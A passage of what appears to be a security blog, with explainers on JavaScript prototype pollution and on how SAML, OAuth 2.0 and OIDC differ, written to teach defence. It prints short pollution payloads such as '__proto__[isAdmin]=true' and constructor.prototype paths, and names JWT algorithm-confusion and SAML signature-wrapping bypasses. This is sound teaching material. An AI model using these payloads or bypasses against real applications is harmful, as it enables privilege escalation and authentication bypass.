filesystem raw user paths in the first place. ## Related guides - [Command Injection Explained](/command-injection-explained) - [SSRF Explained](/ssrf-explained) - [Input Validation Guide](/input-validation-guide) - [OWASP Top 10 Explained](/owasp-top-10-explained) - [Attacker File Formats Explained](/attacker-file-formats-explained) ### Sources - OWASP: Path Traversal (OWASP): https://owasp.org/www-community/attacks/Path_Traversal - PortSwigger Web Security Academy: Directory Traversal (PortSwigger): https://portswigger.net/web-security/file-path-traversal - OWASP File Upload / Path Handling Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html --- ## Prototype Pollution Explained: Poisoning JavaScript Objects > How prototype pollution works in JavaScript: injecting into __proto__, gadget-driven escalation to DoS, bypasses and RCE, and how to shut it down. - URL: https://blog.pwnsy.com/prototype-pollution-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: advanced - Category: web-security - Tags: prototype-pollution, web-security, javascript, nodejs, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - Prototype pollution injects properties into a JavaScript object's shared prototype, so a value the attacker sets appears on objects all across the application. - The injection point is any code that merges attacker-controlled keys into an object without blocking __proto__, constructor, and prototype. - Pollution alone is rarely the whole exploit; it becomes serious when an existing code path, a gadget, later reads the polluted property and acts on it. - Depending on the gadget, impact ranges from denial of service and logic bypass to, in the worst cases, remote code execution on a Node.js server. ### Key Takeaways - Almost every JavaScript object shares Object.prototype, so a single polluted property can change behaviour everywhere at once. - Vulnerable sinks are recursive merges, deep clones, and object-path setters that copy attacker-controlled keys without filtering dangerous ones. - The dangerous keys to block are __proto__, constructor, and prototype; rejecting them at the sink stops the injection. - Escalation is gadget-driven: server-side gadgets can reach command execution, client-side gadgets can reach DOM XSS, and shared gadgets can break access-control checks. - Object.create(null), Map for untrusted key-value data, Object.freeze on prototypes, and schema validation remove both the sink and the gadgets. JavaScript objects inherit from a shared prototype. When you read a property that an object does not have of its own, the language walks up the prototype chain to find it. That inheritance is convenient and, from a security point of view, dangerous: if an attacker can write to a shared prototype, they change the default behaviour of objects they never touched. That is prototype pollution. It is one of the more conceptually slippery web bugs because the injection and the damage usually happen in different places. An attacker pollutes a prototype in one part of the code, and something entirely unrelated misbehaves later because it inherited the poisoned property. ## The inheritance that makes it work In JavaScript, plain objects inherit from `Object.prototype`. Read a property that is not defined directly on an object, and the engine looks it up the chain, ending at `Object.prototype`. Anything defined there is visible, as a fallback, on nearly every object in the program. The special property `__proto__` is an accessor that points at an object's prototype. Assigning through it reaches the prototype rather than the object itself. So code that sets a key named `__proto__` on an object, using attacker-controlled input, can end up writing onto `Object.prototype`, where the new property becomes a default seen everywhere. ``` target["__proto__"]["isAdmin"] = true ``` After that line runs, an ordinary object that never had an `isAdmin` property may now report `true` when asked, because it inherits the polluted default. That is the entire trick, and its reach is what makes it dangerous. ## Where the injection lives Prototype pollution needs a sink: code that copies attacker-controlled property names into an object without filtering the dangerous ones. The usual sinks are all forms of "merge this untrusted structure into that object." - **Recursive merge and deep-extend functions** that walk a source object and copy every key into a target. - **Deep clone routines** that reconstruct an object key by key. - **Object-path setters** that take a string like `a.b.c` and build the nested path, where the attacker supplies `__proto__.polluted`. - **Query-string, JSON, and form parsers** that turn nested input such as `?__proto__[isAdmin]=true` into an object graph and then merge it. The common thread is untrusted keys reaching an assignment. If the attacker controls a property *name*, not just a value, and that name is written without a check, the sink is vulnerable. ## Pollution is only step one Setting a property on a prototype is not, by itself, an exploit. It matters because of what happens next: some existing code path reads the polluted property and does something with it. That code path is the gadget. The severity of the whole thing is decided by which gadget is reachable. | Gadget location | What the gadget does | Typical impact | |---|---|---| | Access-control check | Reads an inherited flag like isAdmin or role | Privilege escalation, authorization bypass | | Configuration lookup | Reads options with an inherited default | Logic change, denial of service | | HTML templating or DOM sink | Renders an inherited value into the page | Client-side XSS | | Child-process or require options | Passes inherited options into command execution | Remote code execution on the server | The escalation from a client-side gadget to script execution is a form of cross-site scripting, and the reverse also holds: a DOM XSS defense that ignores prototype pollution can be walked around. See [XSS Attacks Explained](/xss-attacks-explained). The server-side path, where a polluted option flows into process spawning, is how prototype pollution turns into command execution. That mechanism is the subject of [Command Injection Explained](/command-injection-explained), and the deserialization-style trust failure behind it is covered in [Insecure Deserialization Explained](/insecure-deserialization-explained). The hardest part of prototype pollution is that the sink and the gadget are usually in different files, often in different libraries. You pollute a prototype through a vulnerable merge in your own code, and the exploit fires inside a dependency that reads an inherited option minutes later. This is why grepping only for obvious injection points misses it. You have to reason about which properties, once defaulted globally, would change behaviour somewhere in the whole dependency tree. ## Why input filtering alone is fragile The instinct is to block the string `__proto__` in input. It helps, but it is incomplete. Pollution can also be reached through the `constructor` and `prototype` keys, for example `constructor.prototype.polluted`, which lands on the same shared prototype by a different route. A filter that blocks only the literal `__proto__` misses this. Encoding and nested-structure tricks give attackers further variations. Blocklisting specific key strings is the same losing game as blocklisting bad URLs in SSRF or bad characters in injection: the attacker needs one route the list forgot. The durable fixes change the data structures and freeze the prototype so there is nothing to pollute, rather than trying to enumerate every dangerous key. ## How to defend against prototype pollution Attack the sink and remove the gadgets. Doing both means a missed injection point still has nothing to exploit. 1. **Reject dangerous keys at every merge and setter.** In any code that copies untrusted keys into an object, explicitly skip `__proto__`, `constructor`, and `prototype`. Do this at the sink, not just at the edge, so intermediate parsers cannot smuggle them in. 2. **Use null-prototype objects for untrusted data.** Create containers with `Object.create(null)`, which have no prototype chain, so writing `__proto__` sets an ordinary property that pollutes nothing. 3. **Prefer `Map` over plain objects for key-value stores.** A `Map` keyed by untrusted strings has no prototype semantics, which removes the sink for lookup tables and caches entirely. 4. **Freeze the prototype.** `Object.freeze(Object.prototype)` prevents new properties from being written to it at all, closing the injection globally, though it should be tested for compatibility with your dependencies. 5. **Validate against a schema.** Enforce an explicit schema on incoming JSON and form data so only known, typed properties are accepted, and unexpected keys like `__proto__` are dropped before any merge. 6. **Keep dependencies current and audit merge utilities.** Many pollution findings live in third-party deep-merge, clone, and object-path libraries. Track advisories and update, since maintainers have hardened many of these functions. 7. **Enable the runtime protections you have.** Modern JavaScript runtimes offer flags and options that harden prototype handling; use them as a backstop, not a primary control. The strongest prototype-pollution defenses are structural. A null-prototype object or a Map has no shared prototype to poison, so the attacker's crafted key becomes an inert ordinary property. Freezing Object.prototype does the same globally. Reach for these first, and treat key-name filtering as a secondary layer, because filters can be bypassed but a frozen or absent prototype cannot be polluted. ## The three routes to the shared prototype Filtering the string `__proto__` feels like a fix until you see the other ways in. Three property names reach the same shared prototype, and a defense that blocks one and forgets the others is not a defense. The first route is `__proto__` directly. It is an accessor on objects that points at the prototype, so writing through a key named `__proto__` reaches `Object.prototype`. This is the route most people know and the one most filters catch. The second route is `constructor.prototype`. Every object has a `constructor` property inherited from its prototype, and that constructor function has a `prototype` property that points back at the same shared prototype. So a path like `constructor.prototype.polluted` lands on the identical target by walking through the constructor rather than through `__proto__`. A filter that only rejects `__proto__` leaves this route wide open. The third route is any parser or setter that builds these paths for the attacker. An object-path setter given the string `constructor.prototype.polluted`, or a query parser that expands `constructor[prototype][polluted]`, constructs the dangerous path from flat input the attacker fully controls. The attacker never has to type the payload as a nested object; the parser assembles it. The lesson is that the target is a shared, writable prototype, and the property name is only one of several handles onto it. This is why the durable defenses attack the target itself, by removing the prototype (null-prototype objects, Maps) or freezing it, rather than trying to enumerate every name and encoding that could reach it. ## A worked example: from a merge to an inherited flag Walk one concrete path from injection to effect, without any library-specific magic. Picture an API endpoint that accepts a JSON body describing user preferences and merges it into a stored settings object with a recursive deep-merge helper. The helper walks the incoming object and, for every key, copies the value into the target, recursing into nested objects. The attacker sends a body whose top-level key is `__proto__`, and under it a nested object with a key such as `isAdmin` set to `true`. The merge helper reaches the `__proto__` key, treats it as an ordinary nested object to recurse into, and follows it. Because `__proto__` is an accessor that points at `Object.prototype`, recursing into it and assigning `isAdmin` writes that property onto the shared prototype rather than onto the settings object. Nothing visible breaks at this point. The response looks normal. The damage waits for a gadget. Elsewhere in the same process, an authorization check reads `user.isAdmin` on a freshly constructed user object that was never given an `isAdmin` property of its own. Before the pollution, that read returned `undefined`, which the code treats as not-admin. After the pollution, the read walks the prototype chain, finds the inherited `true`, and the check passes. A request that should have been denied is now allowed, and the two events, the merge and the check, are in different files with no direct call between them. The same shape produces other outcomes depending on the gadget. Pollute a property that a configuration lookup reads, and you flip a default across the whole process. Pollute a property that a templating layer renders, and you can reach the client. Pollute an option that flows into process spawning, and you reach command execution. The injection is identical; the ceiling is set by which gadget is downstream. ## Detection signals: finding pollution in code and at runtime Prototype pollution is quiet by design, so detection combines code review, dynamic probing, and runtime signals. - **Sink discovery in code.** Search for recursive merge, deep-extend, deep-clone, and object-path setter functions, whether hand-written or pulled from dependencies. Any function that copies keys from untrusted input into an object is a candidate sink. Confirm whether it filters `__proto__`, `constructor`, and `prototype`. - **Nested key parsing.** Look for parsers that expand bracketed or dotted query strings and form bodies into nested objects, such as input of the form `a[b][c]=1`. These turn a flat request into an object graph and are a common way an attacker-controlled `__proto__` key is introduced before a merge. - **A safe runtime probe.** In a test environment, send a request that would set a harmless, uniquely named property on the prototype, then read that property on a plain object elsewhere. If the plain object reports the value you injected, pollution reached a shared prototype. Use a property name that no code depends on so the probe changes nothing real. - **Unexpected inherited properties.** At runtime, an object that reports a property it was never assigned is the direct fingerprint. A defensive check that compares an own-property test against a plain property read can surface the discrepancy. - **Anomalous behaviour after specific inputs.** Logic that changes for all users right after a particular request, options that revert to unexpected defaults, or authorization decisions that flip without a code change are behavioural hints that a global default was altered. The cleanest runtime test asks whether a property lives on the object itself or was inherited. A direct read walks the prototype chain and cannot tell the difference. An own-property check answers only for the object in hand. When code that should see nothing suddenly sees a value, and an own-property check on the same object returns nothing, the value is coming from a polluted prototype. Building that distinction into sensitive checks both detects pollution and blunts many gadgets. ## Prototype pollution among related bug classes Pollution sits in a family of trust-in-structure bugs. Seeing the neighbours sharpens what is specific to it. | Bug class | What the attacker controls | Where it lands | Typical ceiling | |---|---|---|---| | Prototype pollution | A property name in merged input | A shared prototype, changing defaults everywhere | Auth bypass, DoS, client XSS, or RCE via a gadget | | Insecure deserialization | The serialized object graph | Reconstructed objects and their callbacks | RCE through crafted object state | | Mass assignment | Field names bound to a model | Object fields the developer did not intend | Privilege or state changes on that object | | SQL or command injection | Data interpreted as syntax | A query or command string | Data theft or code execution | The distinguishing trait of prototype pollution is reach. Mass assignment changes fields on one object. Prototype pollution changes a default that nearly every object in the process inherits, so a single injected key has process-wide scope, and the gadget that reads it can be anywhere in your code or your dependencies. That combination of global reach and action-at-a-distance is what makes it hard to trace and worth defending structurally. ## Common mistakes **Filtering only the literal `__proto__` string.** The `constructor.prototype` route reaches the same shared prototype without the word `__proto__` appearing. A block that checks for one spelling misses the others, and encoding or nesting adds more variants. **Filtering at the edge but not at the sink.** A check on the outermost request body does not protect an inner merge that an intermediate parser feeds. Reject the dangerous keys at the assignment itself, where the write happens, so nothing can smuggle them past an earlier layer. **Assuming client-side pollution is low severity.** A polluted property that a DOM sink or template reads becomes cross-site scripting. Client-side gadgets can also undermine a page's own XSS defenses. It is not merely a server problem. **Trusting a dependency to be safe forever.** Many pollution findings live in third-party merge, clone, and object-path utilities. A version that was safe can regress, and a transitive dependency you did not choose can reintroduce a sink. Track advisories and pin with care. **Freezing the prototype without testing.** `Object.freeze(Object.prototype)` is a strong global control, and some libraries write to the prototype legitimately. Apply it, then test the full application and dependency tree, so a defense does not become an outage. ## How it evolved Prototype pollution moved from a curiosity to a recognised class as JavaScript spread to the server through Node.js and as deep-merge and object-path utilities became ubiquitous in the ecosystem. Early findings clustered in popular merge and clone libraries, where a single vulnerable function was reused across thousands of projects, so one fix or one miss propagated widely. Understanding then shifted from the injection to the gadget. Researchers catalogued the code paths that read inherited properties and turned pollution into concrete impact, including server-side chains that reach command execution and client-side chains that reach script execution. That gadget-centric view is why modern advice pairs sink hardening with structural defenses: even a perfectly filtered merge is safer when the data lives in a structure that has no shared prototype to poison. The framing now maps cleanly onto the integrity-failure category in the OWASP Top 10, where untrusted data is allowed to change program behaviour in ways the developer never modelled. ## Frequently asked questions **Is prototype pollution only a Node.js problem?** No. It affects JavaScript wherever objects share a prototype, which includes browser code. Server-side gadgets tend to have the highest ceiling because they can reach process spawning, and client-side gadgets reach DOM XSS. Both matter. **If pollution happens but no gadget reads the property, is there impact?** Often none directly, which is exactly why it is deceptive. The injected default sits inert until some code path reads it. Because you cannot easily prove no gadget exists across your whole dependency tree, treat any confirmed pollution as exploitable and fix the sink. **Does a null-prototype object fully prevent pollution?** It removes the sink for data held in that object, because there is no prototype chain to walk, so a `__proto__` key becomes an ordinary property that poisons nothing. It protects that container. It does not retroactively fix other merges elsewhere, so use it everywhere untrusted key-value data is stored. **Why prefer a Map for untrusted key-value data?** A `Map` keyed by strings has no prototype semantics for its entries, so lookups cannot be redirected through a polluted prototype. For caches, lookup tables, and anything keyed by attacker-influenced strings, a Map removes a whole category of risk that plain objects carry. **Can input validation alone stop it?** Schema validation that accepts only known, typed properties and drops everything else is a strong layer, because keys like `__proto__` are simply not in the schema. Pair it with sink hardening and structural defenses, since a single missed path is enough when the control is a blocklist. **Does freezing Object.prototype break my app?** It can, if a dependency writes to the prototype legitimately. It is a powerful global backstop when it is compatible. Apply it in a test environment first and exercise the full application before relying on it in production. **How is this different from mass assignment?** Mass assignment writes fields onto one specific object the developer did not mean to expose. Prototype pollution writes onto a shared prototype, so the effect is a default inherited by nearly every object in the process. The scope and the action-at-a-distance are what set it apart. **Where should I put the dangerous-key check?** At the point of assignment inside the merge or setter, and applied to the property name before it is written. A check placed only on the outer request body can be bypassed by an intermediate parser that constructs the object graph after the check runs. Guard the write itself. **Can I detect pollution attempts in logs?** Requests containing `__proto__`, `constructor`, or `prototype` in body or query keys are worth logging and alerting on, since legitimate clients rarely send them as structural keys. Treat such requests as probes and confirm your sinks reject them, rather than relying on the log alone to stop the attack. Prototype pollution is a reminder that shared mutable defaults are a security liability. One writable prototype turns a single injected key into behaviour that ripples across every object and every dependency in the process, and the payoff for the attacker scales with whatever gadget happens to read that key. Block the dangerous keys at your merges, hold untrusted data in structures that have no prototype to poison, freeze what you can, and validate inputs against a schema. For how this class fits the wider integrity-failure landscape, see the [OWASP Top 10](/owasp-top-10-explained), and see the payload side of the story on our attacker file-formats reference. ## Related guides - [Insecure Deserialization Explained](/insecure-deserialization-explained) - [Command Injection Explained](/command-injection-explained) - [Secure Coding Practices](/secure-coding-practices) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - PortSwigger Web Security Academy: Prototype Pollution (PortSwigger): https://portswigger.net/web-security/prototype-pollution - OWASP: Prototype Pollution Prevention Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html - OWASP Top 10: A08 Software and Data Integrity Failures (OWASP): https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/ --- ## SAML vs OAuth vs OIDC: Three Identity Protocols Explained > How SAML, OAuth 2.0, and OpenID Connect differ, what each one actually does, and which to reach for when you build SSO or authorize an API. - URL: https://blog.pwnsy.com/saml-vs-oauth-vs-oidc - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: saml, oauth, oidc, sso, identity - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - SAML, OAuth 2.0, and OpenID Connect solve overlapping problems, which is why they get confused, but each answers a different question about identity. - SAML is an XML-based single sign-on standard built for enterprise web apps. OAuth 2.0 is a delegated authorization framework. OIDC is a thin authentication layer on top of OAuth 2.0. - OAuth 2.0 on its own proves what an app is allowed to do, not who the user is. Using an access token as proof of login is a classic and dangerous mistake. - For new work, OIDC covers most login needs, OAuth 2.0 covers API authorization, and SAML remains the pragmatic choice when you integrate with legacy enterprise identity providers. ### Key Takeaways - SAML carries assertions in signed XML over browser redirects and back-channel bindings, and it dates from the mid-2000s enterprise web. - OAuth 2.0 defines roles (resource owner, client, authorization server, resource server) and grant flows, but it deliberately says nothing about authentication. - OIDC adds an ID token, a signed JWT that states who the user is, plus a standard UserInfo endpoint and discovery document. - Access tokens are for calling APIs, ID tokens are for learning who logged in. Never swap their jobs. - Protocol choice usually follows the identity provider you must federate with, not a greenfield preference. Three acronyms turn up in almost every conversation about single sign-on, and they are constantly used as if they were interchangeable. They are not. SAML, OAuth 2.0, and OpenID Connect were designed at different times, by different communities, to answer different questions. Once you can say which question each one answers, the choice of what to build with stops being guesswork. Here is the shortest honest summary. SAML does enterprise single sign-on with signed XML. OAuth 2.0 hands one app limited permission to act on your behalf against another app's API. OpenID Connect uses OAuth 2.0 machinery to also tell an app who you are. The rest of this guide unpacks each, then shows where they overlap and how to pick. ## Authentication versus authorization Every one of these protocols lives on one side or the other of a single distinction, so it is worth nailing down first. **Authentication** answers "who is this user". It is the login moment: proving that the person at the keyboard is the account holder. **Authorization** answers "what is this user, or this app, allowed to do". It is about permission and scope, and it happens after identity is established or delegated. SAML and OIDC are primarily about authentication and federated login. OAuth 2.0 is purely about authorization. The most common security failure in this space comes from treating OAuth 2.0 as if it also did authentication, which it was never designed to do. The confusion has a real cause. All three protocols hand tokens around over browser redirects, all three involve a central provider and a relying application, and in a login-with-a-social-account flow the same click can trigger both an authorization grant and an identity assertion. From the outside the flows look nearly identical. The difference lives in what the token means and what the application is entitled to conclude from holding it. Keep asking one question, "does this token tell me who the user is, or only what an app may do," and the three protocols stop blurring together. ## SAML Security Assertion Markup Language is the elder of the three, standardised by OASIS and widely deployed since the mid-2000s. It was built for the enterprise web: an employee logs in once to a central identity provider, then reaches many separate applications without logging in again. The core object is the **assertion**, an XML document, signed by the identity provider (IdP), that states facts about the user: their identifier, when they authenticated, and attributes such as group membership. The application receiving it is the **service provider** (SP). A typical browser flow runs like this. The user hits the service provider, which has no session, so it builds an authentication request and redirects the browser to the identity provider. The identity provider authenticates the user, then returns a signed assertion back to the service provider, usually posted through the browser. The service provider validates the signature and creates a local session. SAML's strengths are its maturity, its rich attribute model, and near-universal support in corporate identity products. Its weaknesses are the XML tooling, the complexity of XML signature validation (a historically fertile source of bugs), and a poor fit for mobile apps and single-page frontends. SAML also comes in two initiation styles worth knowing. In **SP-initiated** flow the user starts at the application, which bounces them to the identity provider, the pattern described above and the safer default. In **IdP-initiated** flow the identity provider sends an unsolicited assertion straight to the application, for example from a corporate app portal. IdP-initiated flow is convenient but harder to secure, because the application receives an assertion it never asked for, which removes a natural check against replay. Prefer SP-initiated where you can. ## OAuth 2.0 OAuth 2.0, defined in RFC 6749, is a **delegated authorization** framework. Its problem statement is different from SAML's. You want a third-party app to access some of your data in another service, for example letting a scheduling tool read your calendar, without handing that app your password. OAuth 2.0 defines four roles: | Role | What it is | |---|---| | Resource owner | The user who owns the data | | Client | The app that wants access | | Authorization server | Issues tokens after the user consents | | Resource server | The API holding the data, which accepts tokens | The output is an **access token**, a string the client presents to the resource server to make API calls within a granted **scope**. The user approves that scope during the flow, and the client never sees the user's password. The critical thing to internalise is what an access token is not. It is not proof of who the user is. It is a bearer credential that says "the holder of this string may do these things until it expires". OAuth 2.0 says nothing about authentication, session length, or user identity. Apps that decode an access token and treat its contents as a verified login are building on sand. OAuth 2.0 also defines several grant types for different client situations, and choosing the right one is part of using the framework safely. The authorization code grant, paired with PKCE, is the modern default for web, mobile, and single-page clients, because the sensitive code-for-token exchange happens away from the browser with a proof only the real client holds. The client credentials grant covers machine-to-machine access where no user is present, so the application authenticates as itself. The older implicit and resource-owner password grants are discouraged now, the first because it exposed tokens in the browser and the second because it asks the user to hand their password to the client, which is the exact practice OAuth set out to avoid. Matching the grant to the client keeps tokens out of places they can leak. An OAuth 2.0 access token proves authorization, not identity. Do not use it to log a user in, do not trust its contents as who the user is, and do not treat receiving one as proof that authentication happened. That gap is exactly what OpenID Connect exists to fill. ## OpenID Connect OpenID Connect (OIDC) is a thin identity layer built directly on top of OAuth 2.0. It reuses the same flows and endpoints, then adds the piece OAuth 2.0 left out: a standard, verifiable statement of who the user is. That statement is the **ID token**, a JSON Web Token (a signed JWT) issued by the OpenID provider. It contains claims such as the subject identifier (`sub`), the issuer (`iss`), the audience (`aud`), and issue and expiry times. Because it is signed, the client can verify it came from the trusted provider and was meant for this client. For deeper mechanics of the token format, see [What Is a JWT](/what-is-a-jwt). OIDC also standardises supporting pieces that OAuth 2.0 left to each vendor: a **UserInfo endpoint** for fetching profile claims, a **discovery document** at a well-known URL that publishes the provider's endpoints and keys, and defined scopes like `openid`, `profile`, and `email`. So the division of labour is clean. In an OIDC flow you receive two tokens. The ID token tells your app who logged in. The access token lets your app call APIs on the user's behalf. Keep their jobs separate and most identity bugs never appear. ## A worked example: logging in with OIDC Trace a single sign-in to see how the pieces move. A user clicks "Sign in" on your web application, which is an OIDC relying party. 1. Your app builds an authorization request and redirects the browser to the provider's authorization endpoint. The request names your client, the scopes you want (starting with `openid`), a redirect URI the provider has on file for you, and two anti-abuse values: a random `state` and a random `nonce`. On public clients you also send a PKCE code challenge derived from a secret you keep. 2. The provider authenticates the user through whatever means it owns, a password, a passkey, a second factor, and shows a consent screen for the requested scopes if needed. Your application never sees the credentials. 3. The provider redirects the browser back to your redirect URI with a short-lived authorization code and the same `state` you sent. Your app checks that `state` matches what it stored, which ties the response to the request it actually made and blocks a cross-site request forgery on the callback. 4. Your app's server exchanges the code at the provider's token endpoint, presenting the PKCE code verifier. Because this call is server to server and the code is one-time and short-lived, an attacker who glimpsed the code in a redirect cannot replay it without the verifier. 5. The provider returns an ID token and, if you asked for API access, an access token. Your app validates the ID token: it checks the signature against the provider's published keys, that the issuer matches the expected provider, that the audience is your client, that the token has not expired, and that the `nonce` equals the one you sent. Only after all of those pass does your app treat the user as logged in and create its own session. Every check in step five has a job. Skipping the signature check lets a forged token through. Skipping the audience check lets a token minted for a different application be replayed at yours. Skipping the `nonce` check reopens a replay window the `nonce` was added to close. The ID token is only trustworthy because you verified it, and an unverified ID token is worth nothing. It is easy to conflate the two random values in an OIDC flow. The `state` parameter protects the redirect itself, tying the callback to the request your app started so an attacker cannot graft their own response onto a victim's session. The `nonce` protects the ID token, binding it to this specific authentication so a previously issued token cannot be replayed. Send both, store both, and check both. Dropping either one removes a distinct protection. ## How they compare | Dimension | SAML | OAuth 2.0 | OIDC | |---|---|---|---| | Primary job | Federated SSO / authentication | Delegated authorization | Authentication on OAuth 2.0 | | Data format | XML assertions | Opaque or JWT access tokens | JWT ID tokens | | Era and origin | Mid-2000s, OASIS | 2012, IETF | 2014, OpenID Foundation | | Best fit | Enterprise web SSO | API access delegation | Modern web, mobile, SPA login | | Answers | Who is the user | What may the app do | Who is the user | | Transport | Browser redirect + back channel | HTTPS redirects and token endpoint | Same as OAuth 2.0 | Notice that SAML and OIDC answer the same question. Both do federated login. The difference is format and era: SAML speaks XML and dominates legacy enterprise, OIDC speaks JSON and JWTs and suits modern clients. OAuth 2.0 answers a genuinely different question, which is why pairing it with OIDC is so common. ## Which one to use The choice is usually decided for you by what you must integrate with, so start there. 1. **You need users to log in to your app.** Reach for OIDC. It gives you a verifiable ID token, a discovery document, and broad library support across web, mobile, and single-page apps. 2. **You need your app to call another service's API on a user's behalf.** That is OAuth 2.0, using the authorization code flow with PKCE. Grant the narrowest scope that works. 3. **You must federate with an enterprise identity provider that speaks SAML.** Many corporate IdPs still lead with SAML, so integrate over SAML even if you would prefer OIDC. This is the most common reason to still choose SAML for new work. 4. **You are building both login and API access.** Use OIDC and OAuth 2.0 together. The same authorization server issues an ID token for identity and an access token for API calls in one flow. Pick the protocol your identity provider speaks well, then pick the flow. For OAuth 2.0 and OIDC on browser and mobile clients, that flow is authorization code with PKCE. Avoid the implicit flow, which is deprecated for good security reasons. For the threat side of getting these flows wrong, our Exploit Intelligence dashboard tracks live vulnerabilities in identity and SSO components, so you can see which SAML, OAuth, and OIDC implementation flaws are actually under active exploitation rather than merely theoretical. ## Tokens and assertions side by side Each protocol carries identity or permission in a different container, and the containers have different rules. | Token or assertion | Protocol | Says | Who should read it | Format | |---|---|---|---|---| | SAML assertion | SAML | Who the user is, plus attributes | The service provider | Signed XML | | Access token | OAuth 2.0 | What the holder may do | The resource server (API) | Opaque or JWT | | ID token | OIDC | Who the user is | The client that requested login | Signed JWT | | Refresh token | OAuth 2.0 / OIDC | Authority to get new access tokens | The authorization server only | Opaque | The audience rule is the thread running through the table. A SAML assertion is meant for a specific service provider. An access token is meant for a resource server and your client should treat it as opaque, never parsing it to learn about the user. An ID token is meant for your client, and a resource server should not accept it as an API credential. A refresh token is for the authorization server alone. Most token-confusion bugs are a token being read by a party it was never addressed to. ## Validation and detection Whether you are building these flows or reviewing them, a handful of concrete checks separate a sound integration from a fragile one. - **Verify every signature against the provider's current keys.** For OIDC and JWT-based tokens, fetch the signing keys from the discovery document's JWKS endpoint and check the token's key identifier. For SAML, validate the XML signature and confirm it covers the assertion you are trusting, not some unsigned wrapper around it. - **Pin the issuer and the audience.** Reject any token whose issuer is not your expected provider or whose audience is not your application. A token valid for a different tenant or client must not authenticate a user at yours. - **Enforce expiry and, for SAML, the assertion time window.** Check `exp` on JWTs and the `NotBefore` and `NotOnOrAfter` conditions on SAML assertions, with only a small clock-skew allowance. - **Bind the response to the request.** Confirm the `state` on the OAuth or OIDC callback, and the `nonce` inside the ID token, match values your application generated and stored. - **Watch for signature-stripping and algorithm confusion.** A JWT arriving with `alg` set to `none`, or an RS256 token that a naive verifier checks as HS256 using the public key as an HMAC secret, are classic bypasses. Reject unexpected algorithms outright. - **Log token audience and issuer mismatches.** A spike in tokens presented to the wrong audience, or SAML assertions failing signature validation, is a signal worth alerting on, because it can indicate an attacker probing a confused-deputy path. SAML rides on XML digital signatures, and validating them correctly is famously error-prone. Signature-wrapping attacks move the signed element while slipping an attacker-controlled assertion into a place the application reads but the signature does not cover. If you consume SAML, use a mature, maintained library, validate that the signature covers exactly the assertion you act on, and avoid hand-rolling the XML processing. This is the same parser-trust problem that makes XML a recurring source of authentication bypasses. ## How the three protocols evolved The timeline explains why three overlapping standards coexist. SAML came out of the early-2000s enterprise web, when large organizations needed employees to reach many internal and vendor applications with one corporate login, and XML was the interchange format of that world. It solved federation well for server-rendered web apps and remains deeply embedded in corporate identity products. OAuth arrived later to solve a different itch: the rise of third-party apps that wanted access to a user's data in another service without collecting the user's password. OAuth 1.0 addressed it with a signing scheme that was awkward to implement. OAuth 2.0 replaced that with a framework built around bearer tokens and TLS, trading the signing complexity for simpler flows that depend on the transport for protection. By design it stopped at authorization and said nothing about identity. That silence is exactly what a wave of ad hoc "log in with" schemes tried to fill by misusing OAuth as if an access token proved identity, which produced real vulnerabilities. OpenID Connect was standardized to close the gap properly, layering a defined ID token, a UserInfo endpoint, and discovery on top of OAuth 2.0 so that authentication had a real, verifiable answer rather than a token being pressed into a job it was never meant for. The result is the current division: OIDC for who you are, OAuth 2.0 for what an app may do, and SAML holding the enterprise ground it has occupied for two decades. ## Frequently asked questions **Is OIDC just OAuth 2.0 with extra steps?** OIDC reuses OAuth 2.0's flows and endpoints, and it adds the piece OAuth deliberately omitted: a signed, verifiable statement of the user's identity in the form of an ID token, plus standard endpoints for discovery and profile claims. It is an identity layer on top of an authorization framework, so calling it OAuth with a defined authentication result is fair. **Can I use a SAML assertion to authorize API calls?** That is not its design. SAML assertions are for establishing a federated session at a service provider. Delegated API authorization is OAuth 2.0's job, using access tokens and scopes. Some gateways bridge the two, and the clean model keeps assertions for login and access tokens for API access. **Why is the implicit flow discouraged?** The implicit flow returned tokens directly in the browser redirect, exposing them in URLs and history and offering no code-exchange step to protect. The authorization code flow with PKCE is the current recommendation for browser and mobile clients because the sensitive exchange happens against the token endpoint with a proof only the legitimate client holds. **Do I still need SAML for a new application?** Only if you must federate with an identity provider that leads with SAML, which many enterprise IdPs still do. For a greenfield choice with no such constraint, OIDC covers login and OAuth 2.0 covers API access with better support across mobile and single-page clients. **What actually goes wrong when someone treats an access token as a login?** An access token is a bearer credential for an API and carries no reliable statement of who the user is. Code that decodes one and trusts its contents as identity can be fooled by a token minted for another application or another user, which is the confused-deputy pattern OIDC's audience-scoped ID token was created to prevent. **Which protocol handles single logout?** SAML has a defined single logout profile, though it is notoriously tricky to implement consistently across service providers. OIDC has its own session management and logout specifications. In practice, coordinated logout across many applications is one of the harder problems in federated identity regardless of protocol. ## The mistakes worth avoiding Three errors account for most of the trouble. First, using an OAuth 2.0 access token as a login credential, which OIDC exists specifically to prevent. Second, skipping validation: an ID token you do not verify the signature, issuer, and audience on is worthless, and a SAML assertion whose XML signature you do not properly check has been the root of real authentication bypasses. Third, over-scoping: granting an app more permission than the task needs, so that a token leak becomes a much larger breach. Get the question right first. Are you proving who the user is, or granting an app permission to act? That single question routes you to the correct protocol nearly every time, and the rest is implementation detail. ## Related guides - [OAuth 2.0 Explained](/oauth-2-explained) - [What Is a JWT](/what-is-a-jwt) - [OAuth Attacks Explained](/oauth-attacks-explained) - [Passkeys Explained](/passkeys-explained) ### Sources - The OAuth 2.0 Authorization Framework (RFC 6749) (IETF): https://datatracker.ietf.org/doc/html/rfc6749 - OpenID Connect Core 1.0 (OpenID Foundation): https://openid.net/specs/openid-connect-core-1_0.html - OWASP: Authentication 